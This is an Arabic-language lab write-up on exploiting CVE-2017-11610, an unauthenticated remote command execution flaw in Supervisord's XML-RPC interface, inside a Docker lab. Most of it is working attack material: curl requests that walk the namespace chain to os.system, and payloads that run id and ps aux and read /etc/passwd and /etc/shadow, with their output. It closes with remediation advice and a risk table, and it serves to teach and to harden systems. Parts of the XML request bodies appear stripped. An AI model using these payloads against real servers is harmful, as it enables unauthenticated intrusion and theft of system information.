
شرح تفصيلي خطوة بخطوة لاستغلال الثغرة CVE-2017-11610 (Supervisord XML-RPC RCE) مع تحليل سطح الهجوم، اكتشاف اجتياز مساحة الأسماء، وتقنيات ما بعد الاستغلال في بيئة مختبر Docker.
البدء بما يعمل في البيئة. أقوم بإدراج جميع الحاويات النشطة:``` docker ps-a

**الضحية يعرض منفذًا واحدًا: `9001`**.
المنفذ 9001 ليس تطبيق ويب قياسي. البحث في **قاعدة بيانات المنافذ** يظهر أن هذا المنفذ قد يكون مرتبطًا بـ **Supervisord** (مدير خدمة ETL وفقًا لـ IANA)، أو وكيل Tor، أو بعض الخدمات الداخلية الأخرى. ومع ذلك، لا يمكننا استخلاص استنتاج بناءً على رقم المنفذ فقط.
⇒ أستخدم الأمر curl مباشرة لقراءة الاستجابة وكذلك الوصول إلى واجهة المستخدم الرسومية لجمع المزيد من المعلومات.```
curl -i http://192.168.3.137:9001/


تحليل الاستجابة:
Server: Medusa/1.12 والعنوان Supervisor Status→ تم التأكيد على أن هذا هو Supervisord، وليس Tor أو أي خدمة أخرى.
REFRESH، RESTART ALL، STOP ALLSupervisord هو مدير عمليات على Linux. إذا كان المنفذ 9001 مكشوفًا على الشبكة بدون كلمة مرور، فهذا تكوين خطير. يمكن للمهاجم عرض الخدمات، إعادة تشغيل/إيقاف العمليات، وتحت تكوينات معينة، استغلاله لتنفيذ أوامر إذا كان لديه صلاحيات لتعديل أو التحكم في البرامج المُدارة.
خلاصة التحليل: يمكننا التأكيد على أن الهدف يعرض واجهة إدارة Supervisord على الشبكة على المنفذ 9001. هذه ليست خدمة ويب قياسية، بل واجهة إدارة تُستخدم لمراقبة العمليات والتحكم بها. القدرة على الوصول إلى هذه الواجهة بدون مصادقة تُشكّل خطرًا يتمثل في تمكن المهاجم من عرض حالة الخدمات المُدارة أو التفاعل معها.
ومع ذلك، يجب أن نفرق بين واجهة المستخدم المرئية وآلية التحكم الأساسية. الأزرار مثل REFRESH و RESTART ALL و STOP ALL لا تعالج الطلبات بشكل مستقل على الواجهة الأمامية؛ بل يجب أن تستدعي واجهة/خلفية Supervisord لاسترداد الحالة أو إرسال أوامر التحكم في العمليات. لذلك، بعد التأكيد على كشف واجهة الويب، الخطوة التالية في التحليل هي تحديد ما إذا كانت واجهة التحكم الأساسية موجودة خلف واجهة الويب وما إذا كانت تتطلب مصادقة.
⇒ تفكير: نحتاج للتحقق مما إذا كانت واجهة التحكم خلف واجهة الويب موجودة وما إذا كانت تتطلب مصادقة.

وفقًا لوثائق Supervisor، [inet_http_server] هو خادم HTTP يستمع على مقبس TCP. هذه الواجهة غير مفعلة افتراضيًا، ويجب استخدامها فقط في البيئات الموثوقة، ولا تدعم التشفير، ولا توجد مصادقة افتراضية ما لم يتم تكوين username/password.
كما تشير الوثائق إلى أن منفذ [inet_http_server] يُستخدم لاستقبال طلبات HTTP/XML-RPC؛ يستخدم supervisorctl XML-RPC للتواصل مع supervisord عبر هذا المنفذ. هذا يتوافق مع ملاحظتنا في المختبر: الحاوية تعرض 0.0.0.0:9001->9001/tcp، واجهة الويب متاحة بدون مصادقة، والإصدار المعروض هو Supervisor 3.3.2.
وبالتالي، بعد التأكيد على وجود واجهة الويب على المنفذ 9001، الخطوة التالية هي فحص نقطة نهاية XML-RPC /RPC2. بناءً على الآلية الرسمية لـ Supervisord، نحتاج للتحقق من هذه الأهداف:
/RPC2 موجودًا.supervisor.getState أو system.listMethods.تحقق مما إذا كانت نقطة النهاية حية:```
curl -i -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.getState'
http://192.168.3.137:9001/RPC2

النتيجة تعيد `HTTP/1.1 200 OK`، وليس `401 Unauthorized` أو `403 Forbidden`، مما يُظهر أن الطلب تم قبوله من قبل الخادم بدون بيانات اعتماد. الاستجابة تكون بتنسيق XML-RPC `<methodResponse>` وتحتوي على `statename=RUNNING` و `statecode=1`، مما يثبت أن نقطة النهاية `/RPC2` نشطة وأن أسلوب `supervisor.getState` تم تنفيذه بنجاح.
**⇒ التفكير:** لم يعد سطح الهجوم مقتصرًا على واجهة الويب فحسب، بل توسع ليشمل واجهة برمجة تطبيقات XML-RPC، حيث يتم التعامل مع أوامر التحكم في البرنامج الخفي/العمليات. من هنا، يكون اتجاه التحليل التالي هو **التحقق من كيفية تعامل Supervisor** مع `methodName` في **XML-RPC**، لتحديد ما إذا كان الهدف الحالي **يظهر سلوك CVE-2017-11610**، الذي يكمن في آلية الإرسال/البحث لهذا الأسلوب. نحتاج إلى التحقق من ذلك لنستنتج ما إذا كان هو **CVE-2017-11610**.
### **تحليل معالجة اسم الأسلوب في XML-RPC**
في الخطوة السابقة، قمنا بنجاح باستدعاء أسلوب `supervisor.getState` عبر نقطة النهاية `/RPC2`. وهذا يثير السؤال التالي: عند استلام `methodName` مبني على سلسلة نصية، كيف يقوم Supervisord بتعيين هذه السلسلة إلى وظيفة بايثون الداخلية؟
في XML-RPC، تستخدم الأساليب عادةً مساحات الأسماء، على سبيل المثال:
- `supervisor.getState`
- `supervisor.stopProcess`
- `supervisor.getAllProcessInfo`
من الناحية المنطقية، يتلقى الخادم سلسلة `methodName`، ويقسمها بناءً على النقطة `.`، ويبحث عن الكائن/الوظيفة المقابلة داخل المعالج المسجل.
يمكن فهم الكود الزائف على النحو التالي:```python
# Pseudo-code simulating the dispatch method concept in XML-RPC
def dispatch(method_name, params):
parts = method_name.split(".") # ["supervisor", "getState"]
obj = registered_handlers[parts[0]] # get namespace "supervisor"
for attr in parts[1:]:
obj = getattr(obj, attr) # lookup the next attribute
return obj(*params) # call the final function
بالنسبة للطرق القياسية مثل supervisor.getState، تعمل هذه الآلية بشكل طبيعي: يسترد الخادم معالج supervisor، ثم يستدعي الدالة getState. ومع ذلك، فإن المشكلة الأساسية لـ CVE-2017-11610 هي أن آلية البحث هذه لا تقيد بشكل كافٍ السمات المسموح بالوصول إليها. إذا تحكم المهاجم في methodName، يمكنه ليس فقط استدعاء الطرق العامة مثل getState، بل أيضًا التنقل أعمق داخل الكائنات/الوحدات القابلة للوصول من معالج supervisor.
بعبارة أخرى، النقطة . في methodName لا تُستخدم فقط لاستدعاء الطرق الصالحة، بل يمكن إساءة استخدامها للتنقل عبر سمات الكائن.
وهذا يؤسس لمسار الاستغلال لدينا:
supervisor → supervisord → options → warnings → linecache → os → system
الفكرة هي البدء من معالج supervisor، واتباع السمات إلى الكائنات الداخلية للخفي، ثم استغلال وحدات Python المستوردة مسبقًا للوصول إلى os.system. إذا كان يمكن استدعاء os.system، يمكن للمهاجم تنفيذ أوامر النظام بصلاحيات عملية supervisord.
وبالتالي، فإن سلسلة الهجوم تتبع هذا المنطق:
/RPC2 يقبل استدعاءات الطرق غير المصادق عليها → فحص كيفية توزيع XML-RPC لـ methodName → اكتشاف أن methodName يمكنه التنقل عبر سمات الكائن → يؤدي إلى استدعاء os.system.
أولاً، أحتاج إلى التحقق مما إذا كان الخادم يسمح بالفعل بالتنقل عبر السمات الداخلية. سأحاول استدعاء اسم طريقة أطول من المعتاد. إذا أعاد الخادم خطأ "method not found"، فهذا يعني وجود عامل تصفية؛ إذا أعاد خطأ مختلفًا (أو نجح)، فإن التنقل يعمل.
التفكير: أعرف بالفعل أن supervisor.getState يعمل. إذا جربت supervisor.supervisord—الذي يذهب إلى طبقة أعمق—ولم يُرجع الخادم خطأ unknown method، فهذا يعني أنه يستخدم بالفعل getattr التكراري بدون قائمة بيضاء.
نحن نعلم أن XML-RPC هو بروتوكول استدعاء إجراء عن بعد عبر HTTP، مع ترميز البيانات في XML. يتكون كل طلب من 3 مكونات ثابتة فقط:```
FUNCTION_NAME VALUE ``` بنية بسيطة — فقط استبدِل `` و ``. إذا كانت الدالة لا تتطلب أي معاملات، اترك `` فارغة. إذا كانت الدالة تتطلب سلسلة نصية، ضعها داخل `...`. هذه ليست معرفة سرية — قراءة مواصفات XML-RPC RFC توضّح ذلك.⇒ التطبيق: حاول استدعاء methodName أطول من المعتاد للتحقق من اجتياز مساحة الأسماء:```
curl -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.supervisord.options'
http://192.168.3.137:9001/RPC2

تُعيد النتيجة `HTTP 500 Internal Server Error` بدلاً من الخطأ القياسي `unknown method`. يشير هذا إلى أن الخادم لا يحظر `methodName` على مستوى namespace صالح، بل واصل معالجة سلسلة `supervisor.supervisord.options` أثناء التوزيع. بعبارة أخرى، اجتاز الطلب أعماق آلية البحث عن السمات؛ حدث الخطأ في خطوة لاحقة عندما لم يكن الكائن المُحلَّل قابلاً للاستدعاء كطريقة. هذا مؤشر واضح على أن traversal عبر namespace باستخدام `methodName` نشط.
### **إيجاد المسار إلى دالة تنفيذ الأوامر**
Traversal يعمل. الخطوة التالية هي **إيجاد سلسلة سمات تنتهي بدالة قابلة للاستدعاء وقادرة على تشغيل أوامر النظام.** في بايثون، الهدف الأسهل للتحقق هو `os.system()`. ومع ذلك، **ليس لدينا وصول إلى shell على الهدف** و**لا يمكننا قراءة المصدر/كائنات وقت التشغيل مباشرة في الحاوية.** لذلك، يجب **الاستنتاج من آليات الاستيراد في بايثون** و**التحقق من التبعيات محليًا أولاً.**
السلسلة المراد فحصها هي:
`supervisor` → `supervisord` → `options` → `warnings` → `linecache` → `os` → `system`
- Supervisord مكتوب بلغة بايثون، لذا فإن الكائنات الداخلية مثل `options` هي كائنات بايثون ذات سمات.
- إذا قامت وحدة باستيراد وحدة أخرى عبر `import X`، فستوجد `X` داخل namespace تلك الوحدة.
- في مكتبة بايثون القياسية، تستورد وحدة `warnings` وحدة `linecache` للحصول على السياق عند عرض التحذيرات.
- تستورد وحدة `linecache` وحدة `os` لمعالجة المسار/الملف.
- توفر وحدة `os` دالة `system()`، وهي دالة قابلة للاستدعاء يمكنها تنفيذ أوامر shell.
قم بتأكيد هذه التبعية محليًا قبل محاولتها على الهدف:```bash
python3 -c "import warnings; print('linecache' in dir(warnings))"
# True
python3 -c "import linecache; print('os' in dir(linecache))"
# True
python3 -c "import os; print(callable(os.system))"
# True
⇒ التفكير: سلسلة التبعيات warnings ← linecache ← os هي تبعية حقيقية في مكتبة CPython القياسية؛ وsystem هي بالفعل دالة قابلة للاستدعاء في الوحدة os. إلى جانب ثغرة اجتياز مساحة الاسم في XML-RPC، إذا تمكنا من الوصول إلى supervisord.options.warnings من المعالج supervisor، يمكننا الاستمرار في الاجتياز إلى linecache.os.system لاستدعاء أوامر النظام.
بعد تحديد سلسلة الاجتياز إلى os.system، الخطوة التالية هي بناء طلب XML-RPC لاستدعاء هذه الدالة. في بايثون، تأخذ os.system() معامل سلسلة واحدة يمثل أمر الصدفة الذي سيتم تنفيذه، وتُعيد رمز خروج الأمر. لا تُعيد هذه الدالة stdout مباشرة إلى استجابة XML-RPC، لذا لإثبات تشغيل الأمر، يجب علينا توجيه المخرجات إلى ملف.
⇒ التفكير: لا توجد مخرجات مباشرة في الاستجابة، لذا اكتب النتائج إلى /tmp. دليل /tmp عادةً قابل للكتابة من قبل جميع المستخدمين على لينكس. حمولة تحقق آمنة هي:
id > /tmp/rce_proof.txt
بتطبيق قالب XML-RPC المحلل أعلاه، استبدل <methodName> بسلسلة الاجتياز إلى os.system ومرر أمر الصدفة داخل <string>:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemid > /tmp/rce_proof.txt' http://192.168.3.137:9001/RPC2

القيمة `<int>0</int>` هي رمز الخروج للأمر `os.system()`، وليس المخرجات القياسية للأمر. يشير رمز الخروج `0` إلى أن الأمر تم تنفيذه بنجاح. نتحقق من ذلك بقراءة الملف داخل الحاوية:```
docker exec project1-lab03-1 cat /tmp/rce_proof.txt

⇒ تم تأكيد تنفيذ الأوامر عن بُعد (RCE). تم تنفيذ الأمر id داخل الحاوية، تحت صلاحيات المستخدم nobody (uid=65534).
النقطة الرئيسية: تم تحقيق تنفيذ الأوامر عن بُعد، لكن صلاحيات التنفيذ تعتمد على المستخدم الذي يشغّل عملية supervisord. في هذه المختبرات، يُنفَّذ الأمر تحت المستخدم nobody، مما يعني أن التأثير محدود أكثر مما لو كانت عملية supervisord تعمل كـ root.
بعد تأكيد تنفيذ الأوامر عن بُعد، نرى أن nobody هو مستخدم منخفض الصلاحيات في نظام Linux. لكن يجب التحقق من ذلك عملياً بدلاً من الاعتماد فقط على مخرجات id. طريقة التحقق هي محاولة قراءة ملف /etc/shadow، لأن هذا الملف لا يمكن قراءته عادة إلا من قبل root ومجموعة shadow. إذا كان قابلاً للقراءة، فإن العملية تمتلك صلاحيات عالية؛ وإذا تم منع الوصول، فإن الصلاحيات محدودة حقاً.
أرسل الحمولة لقراءة /etc/shadow مع توجيه كلٍ من stdout و stderr إلى ملف:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/shadow > /tmp/shadow_test.txt 2>&1' http://192.168.3.137:9001/RPC2

يعيد الرد `<int>256</int>`، وهي القيمة المرجعة من `os.system()`. في أنظمة يونكس، يتم ترميز حالات الخروج؛ `256` يقابل رمز خروج الأمر shell `1`. هذا يشير إلى أن الأمر تم تنفيذه لكنه فشل.
نؤكد سبب الفشل من خلال قراءة ملف الإخراج داخل الحاوية والتحقق من أذونات `/etc/shadow`:```
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
docker exec project1-lab03-1 ls -l /etc/shadow

تظهر النتائج أن ملف الإخراج سجل هذا الخطأ:
cat: /etc/shadow: Permission denied
صلاحيات الملف /etc/shadow هي:
rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadowالملف /etc/shadow مملوك للمستخدم root ومجموعة shadow، ولا يمكن قراءته إلا من قبل المالك/المجموعة. وفي الوقت نفسه، أكدت عملية RCE السابقة أن الأمر يعمل تحت المستخدم nobody؛ هذا المستخدم لا ينتمي إلى مجموعة shadow، وبالتالي لا يمكنه قراءة هذا الملف.
⇒ الخلاصة: تم تحقيق RCE، ولكن الامتيازات مقيدة فعليًا للمستخدم nobody. هذا تمييز مهم عن خدمة تعمل كمستخدم root: يمكن للمهاجم تنفيذ الأوامر، لكنه لا يحصل تلقائيًا على السيطرة الكاملة على النظام.
على الرغم من أننا لا نستطيع قراءة /etc/shadow، إلا أن RCE لا يزال يسمح لنا بتنفيذ الأوامر بامتيازات المستخدم nobody. وبالتالي، يمكننا الاستمرار في جمع المعلومات التي يُسمح لهذا المستخدم بقراءتها، مثل قائمة العمليات الجارية و معلومات المستخدمين على النظام.
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemps aux > /tmp/ps_output.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/ps_output.txt

PID 1 في الحاوية يعمل تحت مستخدم الجذر (root)، لكن عملية supervisord تعمل تحت مستخدم nobody. وهذا يفسر نجاح استغلال تنفيذ الأوامر عن بُعد (RCE) ولكن دون صلاحية قراءة الملفات المقيدة للجذر.
النتيجة: يُظهر ps aux أن PID 1 في الحاوية هو /bin/bash /usr/local/bin/docker-entrypoint.sh يعمل تحت مستخدم root، بينما عملية supervisord تعمل تحت مستخدم nobody.
وهذا يفسر لماذا نجح استغلال RCE ولكن لم يكن لديه صلاحيات قراءة الملفات المحصورة للجذر: يتم تنفيذ الأمر بصلاحيات عملية supervisord وليس PID 1.
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/passwd > /tmp/passwd_dump.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/passwd_dump.txt

النتيجة: يظهر /etc/passwd أن النظام يحتوي بشكل رئيسي على المستخدمين الافتراضيين مثل root و daemon و nobody و _apt؛ لم يتم اكتشاف أي مستخدمي خدمات إضافيين. يشير هذا إلى أن بيئة الحاوية ضئيلة، وتفتقر إلى حسابات تطبيقات أخرى يمكن استغلالها أو الانطلاق منها في هذه المرحلة.
في هذا المختبر، لم يكن من الممكن إنشاء صدفة عكسية. ومع ذلك، لا ينبغي لنا أن نستنتج ببساطة أن شبكة جسر Docker تمنع دائمًا الصدفات العكسية، لأن حاويات Docker تحتفظ عادةً بقدرات الخروج عبر NAT. قد يكون السبب ناتجًا عن التوجيه، جدران الحماية، المستمعين، الواجهات، أو تكوين الشبكة لبيئة المختبر.
النقطة الحاسمة هي: عدم نجاح الصدفة العكسية لا يغير الاستنتاج الرئيسي. تم تأكيد تنفيذ الأوامر عن بُعد (RCE) باستخدام حمولة id، رمز خروج الاستجابة 0، وملف الإخراج في /tmp. يمكن للمهاجم تنفيذ أوامر تعسفية داخل الحاوية بصلاحيات المستخدم nobody.
أولوية عاجلة
ترقية Supervisor إلى الإصدار المُصحَّح
قم بترقية Supervisor إلى الإصدار >= 3.3.3. الإصدار المُصحَّح يزيل تمامًا آلية البحث المتكرر في مساحة الأسماء في XML-RPC، والتي كانت السبب الجذري لـ CVE-2017-11610.
لا تعرض [inet_http_server] للشبكة إلا إذا كان ذلك ضروريًا
إذا لم تكن واجهة المستخدم الرسومية أو الإدارة عن بُعد مطلوبة، قم بتعطيل [inet_http_server] بالكامل. هذه واجهة إدارة ولا ينبغي أن تكون قابلة للوصول على نطاق واسع عبر الشبكة.
تقييد عنوان الربط
إذا كنت لا تزال بحاجة إلى تمكين واجهة المستخدم الرسومية، فقم فقط بالربط بـ localhost بدلاً من 0.0.0.0:
[inet_http_server]
port=127.0.0.1:9001
أولوية عالية
تمكين المصادقة لـ [inet_http_server]
إذا كان يجب عليك عرض هذه الواجهة للإدارة عن بُعد، قم بتكوين اسم مستخدم/كلمة مرور قوية:
[inet_http_server] port=127.0.0.1:9001 username=admin password=<strong_password>
إذا كان يجب ربطها بالشبكة، فلا تعتمد فقط على كلمة مرور؛ ضعها خلف VPN/وكيل عكسي أو قيد الوصول حسب عنوان IP.
تقييد الوصول باستخدام جدار حماية
اسمح فقط لعناوين IP الإدارية بالوصول إلى المنفذ 9001، على سبيل المثال عبر جدار حماية/مجموعة أمان. لا تعرض هذا المنفذ للإنترنت العام أو الشبكة الداخلية بأكملها.
تشغيل supervisord بمستخدم ذي صلاحيات منخفضة
يعمل هذا المختبر تحت المستخدم nobody، مما يحافظ على التأثير محدودًا. في البيئات الواقعية، تجنب تشغيل supervisord كـ root إلا إذا كان ذلك ضروريًا للغاية.
| المعيار | التقييم | التفاصيل |
|---|
| درجة CVSS | 9.8 (حرج) | وفقًا لـ CVE/NVD، الثغرة هي تنفيذ أوامر عن بُعد غير مصادق عليه في Supervisor <= 3.3.2 |
| المصادقة | غير مطلوبة | يقوم نقطة النهاية /RPC2 بمعالجة طلبات XML-RPC دون الحاجة إلى اسم مستخدم/كلمة مرور |
| التعقيد | منخفض | قابل للاستغلال عبر طلبات XML-RPC يدوية، دون الحاجة إلى Metasploit |
| الصلاحيات المكتسبة | nobody | يعمل RCE بصلاحيات عملية supervisord؛ في هذا المختبر، مقيد بالمستخدم nobody |
| التأثير | عالي | قادر على تنفيذ الأوامر، كتابة الملفات في الأدلة القابلة للكتابة مثل /tmp، وجمع معلومات النظام |
| القيود | لا يمكن قراءة الملفات المخصصة للجذر فقط | أرجع /etc/shadow خطأ رفض الإذن، مما يثبت أن الصلاحيات ليست لجذر |
| التنقل في الشبكة الداخلية | ممكن | لا يزال بإمكان المستخدم nobody محاولة الاتصال بخدمات/حاويات أخرى إذا سمحت سياسات الشبكة |